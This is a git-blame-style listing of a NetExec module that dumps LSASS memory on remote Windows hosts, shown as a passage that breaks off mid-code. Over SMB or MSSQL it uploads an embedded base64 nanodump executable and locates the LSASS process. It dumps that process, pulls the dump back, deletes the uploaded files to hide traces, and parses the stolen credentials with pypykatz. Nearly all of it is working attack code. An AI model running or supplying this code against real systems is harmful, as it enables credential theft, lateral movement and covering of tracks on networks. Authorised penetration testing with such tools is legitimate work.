2023-09-14 21:07:15 +00:00
|
|
|
# nanodump module for nxc python3
|
2021-11-14 12:15:42 +00:00
|
|
|
# author of the module : github.com/mpgn
|
|
|
|
# nanodump: https://github.com/helpsystems/nanodump
|
|
|
|
|
2023-10-12 09:25:32 +00:00
|
|
|
import os
|
2021-11-14 12:15:42 +00:00
|
|
|
import base64
|
2022-06-18 00:56:55 +00:00
|
|
|
import sys
|
2023-10-12 09:35:31 +00:00
|
|
|
from pypykatz.pypykatz import pypykatz
|
2023-09-18 19:00:39 +00:00
|
|
|
import tempfile
|
2022-06-18 00:56:55 +00:00
|
|
|
from datetime import datetime
|
2023-09-14 21:07:15 +00:00
|
|
|
from nxc.helpers.bloodhound import add_user_bh
|
|
|
|
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
2022-06-17 17:15:24 +00:00
|
|
|
|
2021-11-14 12:15:42 +00:00
|
|
|
|
2023-09-17 20:20:40 +00:00
|
|
|
class NXCModule:
|
2023-04-06 00:42:51 +00:00
|
|
|
name = "nanodump"
|
2021-11-14 12:15:42 +00:00
|
|
|
description = "Get lsass dump using nanodump and parse the result with pypykatz"
|
2023-04-06 00:42:51 +00:00
|
|
|
supported_protocols = ["smb", "mssql"]
|
2023-05-06 19:15:14 +00:00
|
|
|
opsec_safe = False
|
2021-11-14 12:15:42 +00:00
|
|
|
multiple_hosts = True
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2023-04-06 00:42:51 +00:00
|
|
|
def __init__(self, context=None, module_options=None):
|
2023-04-30 21:24:18 +00:00
|
|
|
self.connection = None
|
2023-04-06 00:42:51 +00:00
|
|
|
self.dir_result = None
|
2023-09-18 19:00:39 +00:00
|
|
|
self.remote_tmp_dir = None
|
2023-04-06 00:42:51 +00:00
|
|
|
self.useembeded = None
|
|
|
|
self.nano = None
|
|
|
|
self.nano_path = None
|
|
|
|
self.nano_embedded64 = None
|
|
|
|
self.tmp_share = None
|
|
|
|
self.share = None
|
|
|
|
self.context = context
|
|
|
|
self.module_options = module_options
|
2021-11-14 12:15:42 +00:00
|
|
|
|
|
|
|
def options(self, context, module_options):
|
2023-10-12 19:41:13 +00:00
|
|
|
r"""
|
2023-04-06 00:42:51 +00:00
|
|
|
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
|
2023-09-18 19:00:39 +00:00
|
|
|
NANO_PATH Path where nano.exe is on your system (default: OS temp directory)
|
2023-04-06 00:42:51 +00:00
|
|
|
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
|
|
|
|
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
|
|
|
|
"""
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context = context
|
2023-09-18 19:00:39 +00:00
|
|
|
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
|
2021-11-14 12:15:42 +00:00
|
|
|
self.share = "C$"
|
2023-09-18 19:00:39 +00:00
|
|
|
self.tmp_share = self.remote_tmp_dir.split(":")[1]
|
2023-05-02 15:17:59 +00:00
|
|
|
self.nano_embedded64 = base64.b64decode(
|
|
|
|
"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
|
|
|
|
)
|
|
|
|
self.nano_embedded32 = base64.b64decode(
|
|
|
|
"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
|
|
|
|
)
|
2021-11-14 12:15:42 +00:00
|
|
|
self.nano = "nano.exe"
|
2022-06-03 13:55:29 +00:00
|
|
|
self.nano_path = ""
|
2021-11-14 12:15:42 +00:00
|
|
|
self.useembeded = True
|
|
|
|
|
2023-04-30 21:24:18 +00:00
|
|
|
if "NANO_PATH" in module_options:
|
|
|
|
self.nano_path = module_options["NANO_PATH"]
|
2021-11-14 12:15:42 +00:00
|
|
|
self.useembeded = False
|
2022-06-03 13:55:29 +00:00
|
|
|
else:
|
2023-09-18 19:00:39 +00:00
|
|
|
self.nano_path = f"{tempfile.gettempdir()}"
|
2022-06-03 13:55:29 +00:00
|
|
|
self.dir_result = self.nano_path
|
2021-11-14 12:15:42 +00:00
|
|
|
|
2023-04-30 21:24:18 +00:00
|
|
|
if "NANO_EXE_NAME" in module_options:
|
|
|
|
self.nano = module_options["NANO_EXE_NAME"]
|
2021-11-14 12:15:42 +00:00
|
|
|
self.useembeded = False
|
|
|
|
|
2023-04-30 21:24:18 +00:00
|
|
|
if "TMP_DIR" in module_options:
|
2023-09-18 19:00:39 +00:00
|
|
|
self.remote_tmp_dir = module_options["TMP_DIR"]
|
2021-11-14 12:15:42 +00:00
|
|
|
|
2023-04-30 21:24:18 +00:00
|
|
|
if "DIR_RESULT" in module_options:
|
|
|
|
self.dir_result = module_options["DIR_RESULT"]
|
2021-11-14 12:15:42 +00:00
|
|
|
|
|
|
|
def on_admin_login(self, context, connection):
|
2023-04-30 21:24:18 +00:00
|
|
|
self.connection = connection
|
|
|
|
self.context = context
|
2023-04-06 00:42:51 +00:00
|
|
|
if self.useembeded:
|
2023-10-12 09:35:31 +00:00
|
|
|
with open(os.path.join(self.nano_path, self.nano), "wb") as nano:
|
2023-04-30 21:24:18 +00:00
|
|
|
if self.connection.os_arch == 32 and self.context.protocol == "smb":
|
|
|
|
self.context.log.display("32-bit Windows detected.")
|
2022-06-03 14:01:02 +00:00
|
|
|
nano.write(self.nano_embedded32)
|
2023-04-30 21:24:18 +00:00
|
|
|
elif self.connection.os_arch == 64 and self.context.protocol == "smb":
|
|
|
|
self.context.log.display("64-bit Windows detected.")
|
2022-06-03 14:01:02 +00:00
|
|
|
nano.write(self.nano_embedded64)
|
2023-04-30 21:24:18 +00:00
|
|
|
elif self.context.protocol == "mssql":
|
2022-10-10 20:22:09 +00:00
|
|
|
nano.write(self.nano_embedded64)
|
2022-06-03 13:55:29 +00:00
|
|
|
else:
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.log.fail("Unsupported Windows architecture")
|
2022-06-03 13:55:29 +00:00
|
|
|
sys.exit(1)
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2023-04-30 21:24:18 +00:00
|
|
|
if self.context.protocol == "smb":
|
2023-10-12 09:35:31 +00:00
|
|
|
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
|
2022-06-29 11:44:56 +00:00
|
|
|
try:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
|
|
|
|
self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
|
2022-06-29 11:44:56 +00:00
|
|
|
except Exception as e:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.context.log.fail(f"Error writing file to share {self.share}: {e}")
|
2022-06-29 11:44:56 +00:00
|
|
|
else:
|
2023-10-12 09:35:31 +00:00
|
|
|
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
|
2022-06-29 11:44:56 +00:00
|
|
|
try:
|
2023-09-18 19:00:39 +00:00
|
|
|
self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
|
2023-04-30 21:24:18 +00:00
|
|
|
exec_method = MSSQLEXEC(self.connection.conn)
|
2023-09-18 19:00:39 +00:00
|
|
|
exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
|
|
|
|
if exec_method.file_exists(self.remote_tmp_dir + self.nano):
|
|
|
|
self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
|
2022-06-29 11:44:56 +00:00
|
|
|
else:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.context.log.fail("File does not exist on the remote system... error during upload")
|
2022-06-29 11:44:56 +00:00
|
|
|
sys.exit(1)
|
|
|
|
except Exception as e:
|
2023-09-18 19:00:39 +00:00
|
|
|
self.context.log.fail(f"Error writing file to remote machine directory {self.remote_tmp_dir}: {e}")
|
2023-04-30 21:24:18 +00:00
|
|
|
|
|
|
|
# apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display())
|
|
|
|
# if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the
|
|
|
|
# execution fails, which it doesn't
|
2023-10-14 19:56:22 +00:00
|
|
|
display_output = self.context.protocol == "smb"
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.log.debug(f"Display Output: {display_output}")
|
|
|
|
# get LSASS PID via `tasklist`
|
2023-05-02 15:17:59 +00:00
|
|
|
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.log.display(f"Getting LSASS PID via command {command}")
|
|
|
|
p = self.connection.execute(command, display_output)
|
|
|
|
self.context.log.debug(f"tasklist Command Result: {p}")
|
|
|
|
if len(p) == 1:
|
|
|
|
p = p[0]
|
|
|
|
|
|
|
|
if not p or p == "None":
|
2023-09-20 15:59:16 +00:00
|
|
|
self.context.log.fail("Failed to execute command to get LSASS PID")
|
2023-04-30 21:24:18 +00:00
|
|
|
return
|
|
|
|
|
|
|
|
pid = p.split(",")[1][1:-1]
|
|
|
|
self.context.log.debug(f"pid: {pid}")
|
|
|
|
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
|
2023-04-06 00:42:51 +00:00
|
|
|
nano_log_name = f"{timestamp}.log"
|
2023-09-18 19:00:39 +00:00
|
|
|
command = f"{self.remote_tmp_dir}{self.nano} --pid {pid} --write {self.remote_tmp_dir}{nano_log_name}"
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.log.display(f"Executing command {command}")
|
|
|
|
|
|
|
|
p = self.connection.execute(command, display_output)
|
|
|
|
self.context.log.debug(f"NanoDump Command Result: {p}")
|
|
|
|
|
|
|
|
if not p or p == "None":
|
2023-09-20 15:59:16 +00:00
|
|
|
self.context.log.fail("Failed to execute command to execute NanoDump")
|
2023-04-30 21:24:18 +00:00
|
|
|
self.delete_nanodump_binary()
|
|
|
|
return
|
|
|
|
|
|
|
|
# results returned are different between SMB and MSSQL
|
|
|
|
full_results = " ".join(p) if self.context.protocol == "mssql" else p
|
|
|
|
|
|
|
|
if "Done" in full_results:
|
|
|
|
self.context.log.success("Process lsass.exe was successfully dumped")
|
2021-11-14 12:15:42 +00:00
|
|
|
dump = True
|
|
|
|
else:
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
|
|
|
|
dump = False
|
|
|
|
|
2022-06-17 17:15:24 +00:00
|
|
|
if dump:
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.log.display(f"Copying {nano_log_name} to host")
|
2023-10-16 16:48:15 +00:00
|
|
|
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
2023-04-30 21:24:18 +00:00
|
|
|
if self.context.protocol == "smb":
|
|
|
|
with open(filename, "wb+") as dump_file:
|
2022-06-29 11:44:56 +00:00
|
|
|
try:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
|
|
|
|
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
2022-06-29 11:44:56 +00:00
|
|
|
except Exception as e:
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.log.fail(f"Error while getting file: {e}")
|
2022-06-29 11:44:56 +00:00
|
|
|
|
|
|
|
try:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
|
|
|
|
self.context.log.success(f"Deleted nano file on the {self.share} share")
|
2022-06-29 11:44:56 +00:00
|
|
|
except Exception as e:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.context.log.fail(f"Error deleting nano file on share {self.share}: {e}")
|
2022-06-29 11:44:56 +00:00
|
|
|
|
2021-11-14 12:15:42 +00:00
|
|
|
try:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
|
|
|
|
self.context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
2022-06-29 11:44:56 +00:00
|
|
|
except Exception as e:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
2022-06-29 11:44:56 +00:00
|
|
|
else:
|
|
|
|
try:
|
2023-04-30 21:24:18 +00:00
|
|
|
exec_method = MSSQLEXEC(self.connection.conn)
|
2023-09-18 19:00:39 +00:00
|
|
|
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
|
2023-05-08 18:39:36 +00:00
|
|
|
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
2021-11-14 12:15:42 +00:00
|
|
|
except Exception as e:
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.log.fail(f"Error while getting file: {e}")
|
2021-11-14 12:15:42 +00:00
|
|
|
|
2023-04-30 21:24:18 +00:00
|
|
|
self.delete_nanodump_binary()
|
2022-06-29 11:44:56 +00:00
|
|
|
|
|
|
|
try:
|
2023-09-18 19:00:39 +00:00
|
|
|
self.connection.execute(f"del {self.remote_tmp_dir + nano_log_name}")
|
|
|
|
self.context.log.success(f"Deleted lsass.dmp file on the {self.remote_tmp_dir} dir")
|
2022-06-29 11:44:56 +00:00
|
|
|
except Exception as e:
|
2023-09-18 19:00:39 +00:00
|
|
|
self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.remote_tmp_dir}: {e}")
|
2021-11-14 12:15:42 +00:00
|
|
|
|
2023-10-16 16:52:45 +00:00
|
|
|
with open(filename, "r+b") as fh: # needs the "r+b", not "rb" like below
|
2023-10-14 21:53:01 +00:00
|
|
|
fh.seek(0)
|
|
|
|
fh.write(b"\x4d\x44\x4d\x50")
|
|
|
|
fh.seek(4)
|
|
|
|
fh.write(b"\xa7\x93")
|
|
|
|
fh.seek(6)
|
|
|
|
fh.write(b"\x00\x00")
|
2023-05-02 15:17:59 +00:00
|
|
|
|
|
|
|
with open(filename, "rb") as dump:
|
2022-02-23 20:09:19 +00:00
|
|
|
try:
|
2023-04-06 00:42:51 +00:00
|
|
|
bh_creds = []
|
2023-03-12 07:23:30 +00:00
|
|
|
try:
|
|
|
|
pypy_parse = pypykatz.parse_minidump_external(dump)
|
|
|
|
except Exception as e:
|
|
|
|
pypy_parse = None
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.log.fail(f"Error parsing minidump: {e}")
|
2022-02-23 20:09:19 +00:00
|
|
|
|
2023-04-06 00:42:51 +00:00
|
|
|
ssps = [
|
